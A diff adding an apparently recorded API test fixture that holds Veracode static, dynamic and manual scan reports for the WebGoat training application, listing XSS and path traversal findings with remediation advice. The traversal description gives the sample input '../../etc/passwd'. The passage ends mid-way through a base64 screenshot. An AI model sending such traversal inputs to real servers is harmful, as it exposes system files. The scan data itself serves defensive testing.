+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:28 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:15:32 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:15:31 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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